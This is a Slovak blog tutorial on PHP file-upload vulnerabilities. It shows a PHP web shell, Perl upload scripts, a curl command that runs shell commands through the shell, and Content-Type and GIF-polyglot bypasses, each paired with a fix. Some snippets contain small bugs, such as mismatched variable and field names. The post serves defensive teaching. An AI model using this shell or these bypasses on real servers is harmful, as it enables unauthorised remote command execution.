Bezpečnosť webových aplikácii v praxi I. – Zakliaty PHP upload, a divný GIF.

420

hackedDlho som rozmýšľal, aký seriál by som napísal- či už z osobných skúseností, alebo zo znalostí z webu a podobne. Keďže sa momentálne venujem vývoju webových aplikácií, rozhodol som sa, že budem písať seriál o zraniteľnostiach webových aplikácií písaných primárne v PHP, no neskôr sa pozriem aj na tie ASP.NET.

Čo ma zaráža najviac je to, že veľa mladých programátorov robí stále tieto chyby, ktoré sú už veľmi dávno známe. No na internete ich vidím čoraz častejšie. Dnes sa teda pozrieme na starý známy problém s uploadom súborov a na nebezpečné GIF obrázky. Kto nájde spojenie s nadpisom a literatúrou, dostane cukrík. 🙂

Najprv si vytvoríme nejaký upload formulár s  PHP scriptom, nazvime ho napríklad:

upload_avatar.php

<?php 

$uploadDirectory = 'images/';
$uploadFile = $uploadDirectory . basename($_FILES['avatar']['name']);
if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadfile)) {
  echo "Subor bol uspesne nahraty na server.";
}
else {
  echo "Subor sa nepodarilo nahrat na server”;
}

?>

Aby sme vedeli spracovať niečo v PHP, potrebujeme, aby sme to „niečo“ do toho PHP nejako poslali. Takže spravíme jednoduché HTML, ktoré nám pomocou metódy POST odošle dáta na spracovanie súboru “upload_avatar.php”.

HTML pomenujme napríklad formular.html:

<form action=”upload_avatar.php” method=”POST” ENCTYPE="multipart/formdata">
	Vyberte subor avatara: <input type=”file” name=”avatar” /> <br />
	<input type=”submit” value=”Upload” name”upload” />
</form>

V skratke sme si vytvorili jednoduchý upload formulár, tento formulár (ČASTO V ÚPLNE ROVNAKOM “znení”) nájdeme na mnohých stránkach programátorov, ktorí napríklad s PHP  práve začínajú. Čiže žiadne ošetrenie vstupov, žiadne filtrovanie nahrávaného obsahu, nič.

Príklad číslo 1

Ako útočník  dokážem spraviť v tomto prípade  jednoduchú vec, pomocou ktorej viem na server uploadnuť jednoduchý PHP shell a nemusím sa  ani veľmi snažiť. Krátka demonštrácia.

Vytvoríme si súbor, pomenujme ho napríklad “shell.php”. Nič viac deskriptívne mi nenapadá.

shell.php

<?php
system($_GET['cmd']); //cmd = GET parameter, vdaka ktoremu mozeme zadavat prikazy.
?>

Ak teraz nahráme náš súbor shell.php na server obete, tak máme v podstate vyhraté. Je jasné, že sa tu nijako nevie obrániť, keďže upload formulár nemá špecifické parametre, podľa ktorých filtruje inputy. Teraz vieme jednoducho ovládať tento náš shell.php- napríklad na sledovanie {povedzme, že obeť má stránku na localhoste, napr. Váš brat 🙂 }

http://localhost/images/shell.php?cmd=nejaky_unix_prikaz

Na nahranie súboru použijeme napríklad PERL script. Takýto PERL script nie je zložité napísať, ak máme čo i len základnú znalosť toho, o čom píšeme.

Nazvime si tento script napríklad upload.pl:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client
$res = $ua->request(POST 'http://localhost/upload_avatar.php', # send POST request
  Content_Type => 'form-data', # The content type is
  # multipart/form-data �~@~S the standard for form-based file uploads
  Content => [
    userfile => ["shell.php", "shell.php"], # The body of the
    # request will contain the shell.php file
    ],
  );
print $res->as_string(); # Print out the response from the server

Ak spustíme nasledovný PERL script, tak uploadneme na stránku obete nechcený PHP shell, konkrétne shell.php, ktorým môžeme potom ovládať server napríklad takto:

$ curl http://localhost/images/shell.php?cmd=id

Server nám vráti v prípade príkazu “id” nasledujúce informácie: uid=81(apache) gid=81(apache) groups=81(apache)

Okej, princípu zraniteľnosti zrejme chápete. Avšak, toto je len fakt pre veľmi zle napísané upload formuláre. Väčšina formulárov má aké-také ošetrenie, ale je dostatočné ?

Príklad číslo 2

Pôvodný súbor upload_avatar.php, ale mierne ošetrený upload:

upload_avatar2.php

<?php
if($_FILES['avatar']['type'] != "image/gif") {
  echo "Prepáčte, ale dovoľujeme uploadnúť len GIF obrázky";
  exit;
}
$uploaddir = 'images/';
$uploadfile = $uploaddir . basename($_FILES['avatar']['name']);
if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadfile)) {
  echo "Subor bol uspesne nahraty na server.";
}
else {
  echo "Subor sa nepodarilo nahrat na server";
}
?>

V tomto prípade sme ošetrili nejaký  “direct” vstup PHP súboru. Ak sa pokúsime o upload takéhoto súboru, budeme neúspešní. Prečo ? Pretože programátor  implementoval overenie “Content-Type”, čo znamená, že toto je síce bezpečnejšie ako prvý príklad, no opäť jednoduchým spôsobom môžeme toto overenie oklamať,  pretože MIME type sa nastavuje na strane klienta. Takže si troška upravíme náš pôvodný PERL script.

upload2.pl

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload_avatar2.php',
  Content_Type => 'form-data',
  Content => [
    userfile => ["shell.php", "shell.php", "Content-Type" =>
    "image/gif"],
    ],
  );
print $res->as_string();

Dôležité: Všimnite si, ako sme zmanipulovali posielané dáta a to konkrétne “Content-Type”, ktorému sme podstrčili falošnú masku pre náš shell.php.

Server si teraz myslí, že ide o obrázok typu GIF. Výborne, a sme tam po druhýkrát. 🙂 Jednoduché, že?

No a čo teraz ? Tak ako to teda ošetriť ? Tiež to nie je také zložité, v podstate sa stačí pohrabať v dokumentácii PHP a nájdeme zaujímavú funkciu getimagesize() , ktorá priamo kontroluje, či je na vstupe obrázok. Viac sa o tejto funkcii dozviete tu.

Funkcia vracia informácie o obrázku, konkrétne pole, ktoré vyzerá nasledovne.

  • Index 0 a 1 obsahujú šírku a výšku v px
  • Index 2 obsahuje konštantu typu obrázku IMAGETYPE_XXX
  • Index 3 obsahuje string ktorý je v HTML možné použiť ako atribúty pre <img>
  • Index MIME obsahuje informáciu o mime type v známej forme image/jpeg atd…

Okej, zdá sa, že sme objavili  dokonalý spôsob ako ošetriť vstup, ukážme si teda príklad takéhoto upload formulára.

upload_avatar3.php

<?php
$imageinfo = getimagesize($_FILES['avatar']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
  echo "Prepáčte, ale dovoľujeme uploadnúť len GIF/JPEG obrázky;
  exit;
}
$uploadDirectory = 'images/';
$uploadFile = $uploadDirectory . basename($_FILES['avatar']['name']);
if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadFile)) {
  echo "Subor bol uspesne nahraty na server.";
}
else {
  echo "Subor sa nepodarilo nahrat na server.";
}
?>

Okej, teraz, keď útočník odošle súbor shell.php, tak ho script nebude akceptovať, pretože si MIME zisťuje sám.

Zdá sa, že sme docielili bezpečnú aplikáciu, ale je tomu naozaj tak? Je všetkým zlým dňom koniec?

V nadpise som písal čudné GIF obrázky… 🙂 Takže zrejme nekončíme. Ale ako môže obrázok niečo pobabrať v aplikácii? Je to predsa obrázok!

Príklad číslo 3

Väčšina obrázkových formátov umožňuje vložiť komentár do svojho tela, čiže to môže byť dokonalý GIF a zároveň PHP súbor. Že ste to nevedeli ?! Už viete. 🙂 Naša PHP funkcia, ktorá ošetruje vstup, uvidí dokonalý GIF, no parser uvidí PHP. A ďalší problém je na svete.

Nemám poruke žiadny taký GIF, no ani sem nejdem dávať návod ako na taký GIF. Polovica webov by bola do zajtra dole, takže si len teoreticky vysvetlíme, ako sa táto zraniteľnosť dá využiť.

Opäť raz si upravíme náš PERL script, tentoraz tak, aby parser vedel, že má niekde v binárnom bordeli nášho obrázka hľadať nejaké PHP-čko.

upload3.pl

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload_avatar3.php',
  Content_Type => 'form-data',
  Content => [
    userfile => ["obrazok.gif", "obrazok.php", "Content-Type" =>
    "image/gif"],
    ],
  );
print $res->as_string();

A znova sme tam, kde programátor webstránky nechcel,  aby sme boli. 🙂

Okej, tak a ako sa ubránim tomuto ?!

Nie je to také zložité, v podstate stačí overiť prípony.

upload_avatar4.php

<?php
$blacklist = array(".php", ".phtml", ".php3", ".php4");
foreach ($blacklist as $item) {
  if(preg_match("/$item\$/i", $_FILES['avatar']['name'])) {
    echo "Nepovoľujeme upload PHP súborov!";
    exit;
  }
}
$uploadDirectory = 'images/';
$uploadFile = $uploadDirectory . basename($_FILES['avatar']['name']);
if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadFile)) {
  echo "Subor bol uspesne nahraty na server.";
}
else {
  echo "Subor sa nepodarilo nahrat na server.";
}
?>

Súbor .php sa pri súčasnom nastavení nenahrá a skrytý obsah v komentároch v obrázku bude “skip”-nutý.

Čiže teraz máme bezpečný formulár. No dobre, nie úplne. Existuje ešte niekoľko riešení ako toto obísť, ale to už nechám na vás. Prípadne o tom napíšem ďalší blog. V nasledujúcom blogu určite spomeniem odosielanie klasických formulárov, predstavíme si nejaké bezpečnostné triedy pre overovanie a verifikáciu inputov, a tiež pripojím moju vlastnú triedu, ktorú používame na našom firemnom frameworku. Reč bude aj o CSRF tokenoch a mnohých ďalších funkciách.

V skratke chcem týmto seriálom poukázať na obrovské chyby, ktorých sa dopúšťajú najmä mladí programátori bez praxe, ktorí si nejako podvedome vsugerovali, že bezpečnosť ich aplikácií je výborná.

Informácie sú čerpané z tohto .PDF, ktoré si odporúčam prečítať.
PDF: http://www.net-security.org/dl/articles/php-file-upload.pdf
Ďalej zo stránky http://www.blackhole.sk

Tento seriál nemá v žiadnom prípade učiť to ako hacknúť stránky. Prvotnou úlohou pri zabezpečení aplikácie je to, že treba vedieť ako sa k nám útočník vlastne môže dostať, a že tých spôsobov nie je málo uvidíte časom.

Za pripomienky, návrhy, postrehy budem vďačný v komentároch, prípadne na mailovej adrese. Ak nájdete nejakú chybu, ktorá sa týka preklepu, alebo nejakej časti kódu, prosím posielajte to najskôr na mail, nespamujte komentáre.

Dobrý článok? Chceš dostávať ďalšie?

Už viac ako 4 200 z vás dostáva správy e-mailom. Nemusíš sa báť, nie každé ráno. Len občasne.

I agree to have my personal information transfered to MailChimp ( more information )

Tvoj email neposkytneme 3tím stranám. Posielame naňho len informácie z robime.it. Kedykoľvek sa môžete odhlásiť.